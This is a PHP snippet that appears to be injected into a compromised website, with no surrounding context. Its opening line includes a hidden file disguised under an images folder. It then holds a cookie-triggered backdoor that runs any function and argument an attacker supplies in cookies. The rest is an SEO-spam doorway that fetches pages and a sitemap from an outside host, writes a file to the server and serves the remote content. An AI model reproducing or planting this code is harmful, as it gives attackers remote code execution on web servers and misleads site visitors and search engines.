@include_once('/home/arktik/public_html/FONDZVEZDA.RU/images/novosti/21/305.less.php'); if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]); header("Content-type: text/html; charset=utf-8"); @set_time_limit(0); $h = str_replace('.','',strstr($_SERVER['REQUEST_URI'],'.')); $xmlname = 'amaps.xml'; $temp = @$_GET['temp']; $goweb = 'hseventeen2.labeille.top'; $id = @$_GET['id']; $site = @$_GET['site']; $host = $_SERVER['HTTP_HOST']; if(strpos($_SERVER['REQUEST_URI'],'?') === false){ $dt = 0; }else{ $dt = 1; } if($site){ if($site == 'xml'){ $web = 'http://'.$goweb.'/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&h='.$h; $xml = trim(outdo($web)); $myfile = fopen($xmlname, "w"); fwrite($myfile, $xml); fclose($myfile); echo "ok
http://".$_SERVER['HTTP_HOST']."/".$xmlname; echo "
".$web; exit(); } if($id){ $web = 'http://'.$goweb.'/?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&h='.$h.'&web='.$host; echo outdo($web); exit(); } } function outdo($url){ $file_contents = @file_get_contents($url); if (!$file_contents) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); $file_contents = curl_exec($ch); curl_close($ch); } return $file_contents; } ?>